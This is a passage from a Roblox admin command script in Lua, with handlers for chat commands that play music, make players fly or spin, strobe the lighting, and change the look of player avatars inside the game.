  8602. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  8603. motor1.DesiredAngle = -ang
  8604. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  8605. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  8606. if torso.Velocity.magnitude < .1 then wait(.1) end
  8607. until not p or p.Parent ~= torso.Parent
  8608. script:Destroy()
  8609. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  8610. end
  8611. end))
  8612. end
  8613. end
  8614.  
  8615. if msg:lower():sub(1,6) == "music " then
  8616. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  8617. local id = msg:sub(7)
  8618. local pitch = 1
  8619. if tostring(id):lower():find("caramell") then id = 2303479 end
  8620. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  8621. if tostring(id):find("rick") then id = 2027611 end
  8622. if tostring(id):find("halo") then id = 1034065 end
  8623. if tostring(id):find("pokemon") then id = 1372261 end
  8624. if tostring(id):find("cursed") then id = 1372257 end
  8625. if tostring(id):find("extreme") then id = 11420933 end
  8626. if tostring(id):find("awaken") then id = 27697277 end
  8627. if tostring(id):find("alone") then id = 27697392 end
  8628. if tostring(id):find("mario") then id = 1280470 end
  8629. if tostring(id):find("choir") then id = 1372258 end
  8630. if tostring(id):find("chrono") then id = 1280463 end
  8631. if tostring(id):find("dotr") then id = 11420922 end
  8632. if tostring(id):find("entertain") then id = 27697267 end
  8633. if tostring(id):find("fantasy") then id = 1280473 end
  8634. if tostring(id):find("final") then id = 1280414 end
  8635. if tostring(id):find("emblem") then id = 1372259 end
  8636. if tostring(id):find("flight") then id = 27697719 end
  8637. if tostring(id):find("banjo") then id = 27697298 end
  8638. if tostring(id):find("gothic") then id = 27697743 end
  8639. if tostring(id):find("hiphop") then id = 27697735 end
  8640. if tostring(id):find("intro") then id = 27697707 end
  8641. if tostring(id):find("mule") then id = 1077604 end
  8642. if tostring(id):find("film") then id = 27697713 end
  8643. if tostring(id):find("nezz") then id = 8610025 end
  8644. if tostring(id):find("angel") then id = 1372260 end
  8645. if tostring(id):find("resist") then id = 27697234 end
  8646. if tostring(id):find("schala") then id = 5985787 end
  8647. if tostring(id):find("organ") then id = 11231513 end
  8648. if tostring(id):find("tunnel") then id = 9650822 end
  8649. if tostring(id):find("spanish") then id = 5982975 end
  8650. if tostring(id):find("venom") then id = 1372262 end
  8651. if tostring(id):find("wind") then id = 1015394 end
  8652. if tostring(id):find("guitar") then id = 5986151 end
  8653. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  8654. end
  8655.  
  8656. if msg:lower() == "stopmusic" then
  8657. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  8658. end
  8659.  
  8660. if msg:lower() == "musiclist" then
  8661. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  8662. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  8663. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  8664. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  8665. end
  8666.  
  8667. if msg:lower():sub(1,4) == "fly " then
  8668. local plrz = GetPlr(plr, msg:lower():sub(5))
  8669. for i, v in pairs(plrz) do
  8670. coroutine.resume(coroutine.create(function()
  8671. if v and v:findFirstChild("PlayerGui") then
  8672. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  8673. local mouse = game.Players.LocalPlayer:GetMouse()
  8674. repeat wait() until mouse
  8675. local plr = game.Players.LocalPlayer
  8676. local torso = plr.Character.Torso
  8677. local flying = true
  8678. local deb = true
  8679. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  8680. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  8681. local maxspeed = 50
  8682. local speed = 0
  8683. function Fly()
  8684. local bg = Instance.new("BodyGyro", torso)
  8685. bg.P = 9e4
  8686. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  8687. bg.cframe = torso.CFrame
  8688. local bv = Instance.new("BodyVelocity", torso)
  8689. bv.velocity = Vector3.new(0,0.1,0)
  8690. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  8691. repeat wait()
  8692. plr.Character.Humanoid.PlatformStand = true
  8693. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  8694. speed = speed+.5+(speed/maxspeed)
  8695. if speed > maxspeed then
  8696. speed = maxspeed
  8697. end
  8698. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  8699. speed = speed-1
  8700. if speed < 0 then
  8701. speed = 0
  8702. end
  8703. end
  8704. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  8705. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  8706. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  8707. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
  8708. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  8709. else
  8710. bv.velocity = Vector3.new(0,0.1,0)
  8711. end
  8712. bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  8713. until not flying
  8714. ctrl = {f = 0, b = 0, l = 0, r = 0}
  8715. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  8716. speed = 0
  8717. bg:Destroy()
  8718. bv:Destroy()
  8719. plr.Character.Humanoid.PlatformStand = false
  8720. end
  8721. mouse.KeyDown:connect(function(key)
  8722. if key:lower() == "e" then
  8723. if flying then flying = false
  8724. else
  8725. flying = true
  8726. Fly()
  8727. end
  8728. elseif key:lower() == "w" then
  8729. ctrl.f = 1
  8730. elseif key:lower() == "s" then
  8731. ctrl.b = -1
  8732. elseif key:lower() == "a" then
  8733. ctrl.l = -1
  8734. elseif key:lower() == "d" then
  8735. ctrl.r = 1
  8736. end
  8737. end)
  8738. mouse.KeyUp:connect(function(key)
  8739. if key:lower() == "w" then
  8740. ctrl.f = 0
  8741. elseif key:lower() == "s" then
  8742. ctrl.b = 0
  8743. elseif key:lower() == "a" then
  8744. ctrl.l = 0
  8745. elseif key:lower() == "d" then
  8746. ctrl.r = 0
  8747. end
  8748. end)
  8749. Fly()]]
  8750. cl.Parent = v.PlayerGui cl.Disabled = false
  8751. end
  8752. end))
  8753. end
  8754. end
  8755.  
  8756. if msg:lower():sub(1,6) == "unfly " then
  8757. local plrz = GetPlr(plr, msg:lower():sub(7))
  8758. for i, v in pairs(plrz) do
  8759. coroutine.resume(coroutine.create(function()
  8760. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  8761. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  8762. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  8763. wait(.1) v.Character.Humanoid.PlatformStand = false
  8764. end
  8765. end))
  8766. end
  8767. end
  8768.  
  8769. if msg:lower() == "disco" then
  8770. for i, v in pairs(lobjs) do v:Destroy() end
  8771. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  8772. game.Lighting.Ambient = color
  8773. game.Lighting.FogColor = color
  8774. until nil]]
  8775. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  8776. end
  8777.  
  8778. if msg:lower() == "flash" then
  8779. for i, v in pairs(lobjs) do v:Destroy() end
  8780. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  8781. game.Lighting.Ambient = Color3.new(1,1,1)
  8782. game.Lighting.FogColor = Color3.new(1,1,1)
  8783. game.Lighting.Brightness = 1
  8784. game.Lighting.TimeOfDay = 14
  8785. wait(.1)
  8786. game.Lighting.Ambient = Color3.new(0,0,0)
  8787. game.Lighting.FogColor = Color3.new(0,0,0)
  8788. game.Lighting.Brightness = 0
  8789. game.Lighting.TimeOfDay = 0
  8790. until nil]]
  8791. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  8792. end
  8793.  
  8794. if msg:lower():sub(1,5) == "spin " then
  8795. local plrz = GetPlr(plr, msg:lower():sub(6))
  8796. for i, v in pairs(plrz) do
  8797. coroutine.resume(coroutine.create(function()
  8798. if v and v.Character and v.Character:findFirstChild("Torso") then
  8799. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  8800. local torso = v.Character:findFirstChild("Torso")
  8801. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  8802. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  8803. until not bg or bg.Parent ~= torso
  8804. end
  8805. end))
  8806. end
  8807. end
  8808.  
  8809. if msg:lower():sub(1,7) == "unspin " then
  8810. local plrz = GetPlr(plr, msg:lower():sub(8))
  8811. for i, v in pairs(plrz) do
  8812. coroutine.resume(coroutine.create(function()
  8813. if v and v.Character and v.Character:findFirstChild("Torso") then
  8814. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  8815. end
  8816. end))
  8817. end
  8818. end
  8819.  
  8820. if msg:lower():sub(1,4) == "dog " then
  8821. local plrz = GetPlr(plr, msg:lower():sub(5))
  8822. for i, v in pairs(plrz) do
  8823. coroutine.resume(coroutine.create(function()
  8824. if v and v.Character and v.Character:findFirstChild("Torso") then
  8825. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  8826. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  8827. v.Character.Torso.Transparency = 1
  8828. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  8829. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  8830. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  8831. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  8832. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  8833. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  8834. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  8835. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  8836. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  8837. end
  8838. end))
  8839. end
  8840. end
  8841.  
  8842. if msg:lower():sub(1,6) == "undog " then
  8843. local plrz = GetPlr(plr, msg:lower():sub(7))
  8844. for i, v in pairs(plrz) do
  8845. coroutine.resume(coroutine.create(function()
  8846. if v and v.Character and v.Character:findFirstChild("Torso") then
  8847. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  8848. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  8849. v.Character.Torso.Transparency = 0
  8850. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  8851. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  8852. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  8853. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  8854. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  8855. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  8856. end
  8857. end))
  8858. end
  8859. end
  8860.  
  8861. if msg:lower():sub(1,8) == "creeper " then
  8862. local plrz = GetPlr(plr, msg:lower():sub(9))
  8863. for i, v in pairs(plrz) do
  8864. coroutine.resume(coroutine.create(function()
  8865. if v and v.Character and v.Character:findFirstChild("Torso") then
  8866. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  8867. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  8868. v.Character.Torso.Transparency = 0
  8869. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  8870. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  8871. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  8872. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  8873. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  8874. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  8875. end
  8876. end))
  8877. end
  8878. end
  8879.  
  8880. if msg:lower():sub(1,10) == "uncreeper " then
  8881. local plrz = GetPlr(plr, msg:lower():sub(11))
  8882. for i, v in pairs(plrz) do
  8883. coroutine.resume(coroutine.create(function()
  8884. if v and v.Character and v.Character:findFirstChild("Torso") then
  8885. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  8886. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  8887. v.Character.Torso.Transparency = 0
  8888. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  8889. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  8890. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  8891. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  8892. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  8893. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  8894. end
  8895. end))
  8896. end
  8897. end
  8898.  
  8899. if msg:lower():sub(1,8) == "bighead " then
  8900. local plrz = GetPlr(plr, msg:lower():sub(9))
  8901. for i, v in pairs(plrz) do
  8902. coroutine.resume(coroutine.create(function()
  8903. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  8904. end))
  8905. end
  8906. end
  8907.  
  8908. if msg:lower():sub(1,9) == "minihead " then
  8909. local plrz = GetPlr(plr, msg:lower():sub(10))
  8910. for i, v in pairs(plrz) do
  8911. coroutine.resume(coroutine.create(function()
  8912. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  8913. end))
  8914. end
  8915. end
  8916.  
  8917. if msg:lower():sub(1,6) == "fling " then
  8918. local plrz = GetPlr(plr, msg:lower():sub(7))
  8919. for i, v in pairs(plrz) do
  8920. coroutine.resume(coroutine.create(function()
  8921. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  8922. local xran local zran
  8923. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  8924. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  8925. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  8926. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  8927. end
  8928. end))
  8929. end
  8930. end
  8931.  
  8932. if msg:lower():sub(1,8) == "seizure " then
  8933. local plrz = GetPlr(plr, msg:lower():sub(9))
  8934. for i, v in pairs(plrz) do
  8935. coroutine.resume(coroutine.create(function()
  8936. if v and v.Character then
  8937. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  8938. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  8939. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  8940. end
  8941. end))
  8942. end
  8943. end
  8944.  
  8945. if msg:lower():sub(1,10) == "unseizure " then
  8946. local plrz = GetPlr(plr, msg:lower():sub(11))
  8947. for i, v in pairs(plrz) do
  8948. coroutine.resume(coroutine.create(function()
  8949. if v and v.Character then
  8950. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  8951. wait(.1) v.Character.Humanoid.PlatformStand = false
  8952. end
  8953. end))
  8954. end
  8955. end
  8956.  
  8957. if msg:lower():sub(1,12) == "removelimbs " then
  8958. local plrz = GetPlr(plr, msg:lower():sub(13))
  8959. for i, v in pairs(plrz) do
  8960. coroutine.resume(coroutine.create(function()
  8961. if v and v.Character then
  8962. for a, obj in pairs(v.Character:children()) do
  8963. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  8964. end
  8965. end
  8966. end))
  8967. end
  8968. end
  8969.  
  8970. if msg:lower():sub(1,5) == "name " then
  8971. local chk1 = msg:lower():sub(6):find(" ") + 5
  8972. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  8973. for i, v in pairs(plrz) do
  8974. coroutine.resume(coroutine.create(function()
  8975. if v and v.Character and v.Character:findFirstChild("Head") then
  8976. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  8977. local char = v.Character
  8978. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  8979. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  8980. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  8981. char.Head.Transparency = 1
  8982. end
  8983. end))
  8984. end
  8985. end
  8986.  
  8987. if msg:lower():sub(1,7) == "unname " then
  8988. local plrz = GetPlr(plr, msg:lower():sub(8))
  8989. for i, v in pairs(plrz) do
  8990. coroutine.resume(coroutine.create(function()
  8991. if v and v.Character and v.Character:findFirstChild("Head") then
  8992. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  8993. end
  8994. end))
  8995. end
  8996. end
  8997.  
  8998. if msg:lower():sub(1,5) == "char " then
  8999. local chk1 = msg:lower():sub(6):find(" ") + 5
  9000. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  9001. for i, v in pairs(plrz) do
  9002. coroutine.resume(coroutine.create(function()
  9003. if v and v.Character then
  9004. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  9005. v:LoadCharacter()
  9006. end
  9007. end))
  9008. end
  9009. end
  9010.  
  9011. if msg:lower():sub(1,7) == "unchar " then
  9012. local plrz = GetPlr(plr, msg:lower():sub(8))
  9013. for i, v in pairs(plrz) do
  9014. coroutine.resume(coroutine.create(function()
  9015. if v and v.Character then
  9016. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  9017. v:LoadCharacter()
  9018. end
  9019. end))
  9020. end
  9021. end
  9022.  
  9023. if msg:lower():sub(1,7) == "infect " then
  9024. local plrz = GetPlr(plr, msg:lower():sub(8))
  9025. for i, v in pairs(plrz) do
  9026. coroutine.resume(coroutine.create(function()
  9027. if v and v.Character then
  9028. Infect(v.Character)
  9029. end
  9030. end))
  9031. end
  9032. end
  9033.  
  9034. if msg:lower():sub(1,11) == "rainbowify " then
  9035. local plrz = GetPlr(plr, msg:lower():sub(12))
  9036. for i, v in pairs(plrz) do
  9037. coroutine.resume(coroutine.create(function()
  9038. if v and v.Character and v.Character:findFirstChild("Torso") then
  9039. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  9040. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  9041. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  9042. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  9043. cl.Parent = v.Character cl.Disabled = false
  9044. end
  9045. end))
  9046. end
  9047. end
  9048.  
  9049. if msg:lower():sub(1,9) == "flashify " then
  9050. local plrz = GetPlr(plr, msg:lower():sub(10))
  9051. for i, v in pairs(plrz) do
  9052. coroutine.resume(coroutine.create(function()
  9053. if v and v.Character and v.Character:findFirstChild("Torso") then
  9054. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  9055. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  9056. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  9057. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  9058. cl.Parent = v.Character cl.Disabled = false
  9059. end
  9060. end))
  9061. end
  9062. end
  9063.  
  9064. if msg:lower():sub(1,8) == "noobify " then
  9065. local plrz = GetPlr(plr, msg:lower():sub(9))
  9066. for i, v in pairs(plrz) do
  9067. coroutine.resume(coroutine.create(function()
  9068. if v and v.Character then
  9069. Noobify(v.Character)
  9070. end
  9071. end))
  9072. end
  9073. end
  9074.  
  9075. if msg:lower():sub(1,9) == "ghostify " then
  9076. local plrz = GetPlr(plr, msg:lower():sub(10))
  9077. for i, v in pairs(plrz) do
  9078. coroutine.resume(coroutine.create(function()
  9079. if v and v.Character and v.Character:findFirstChild("Torso") then
  9080. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  9081. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  9082. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  9083. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  9084. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  9085. if prt.Name:find("Leg") then prt.Transparency = 1 end
  9086. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  9087. end end
  9088. end
  9089. end))
  9090. end
  9091. end
  9092.  
  9093. if msg:lower():sub(1,8) == "goldify " then
  9094. local plrz = GetPlr(plr, msg:lower():sub(9))
  9095. for i, v in pairs(plrz) do
  9096. coroutine.resume(coroutine.create(function()
  9097. if v and v.Character and v.Character:findFirstChild("Torso") then
  9098. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  9099. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  9100. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  9101. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  9102. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  9103. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  9104. end end
  9105. end
  9106. end))
  9107. end
  9108. end
  9109.  
  9110. if msg:lower():sub(1,6) == "shiny " then
  9111. local plrz = GetPlr(plr, msg:lower():sub(7))
  9112. for i, v in pairs(plrz) do
  9113. coroutine.resume(coroutine.create(function()
  9114. if v and v.Character and v.Character:findFirstChild("Torso") then
  9115. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  9116. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  9117. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  9118. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  9119. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  9120. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  9121. end end
  9122. end
  9123. end))
  9124. end
  9125. end
  9126.  
  9127. if msg:lower():sub(1,7) == "normal " then
  9128. local plrz = GetPlr(plr, msg:lower():sub(8))
  9129. for i, v in pairs(plrz) do
  9130. coroutine.resume(coroutine.create(function()
  9131. if v and v.Character and v.Character:findFirstChild("Torso") then
  9132. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  9133. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  9134. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  9135. v.Character.Torso.Transparency = 0
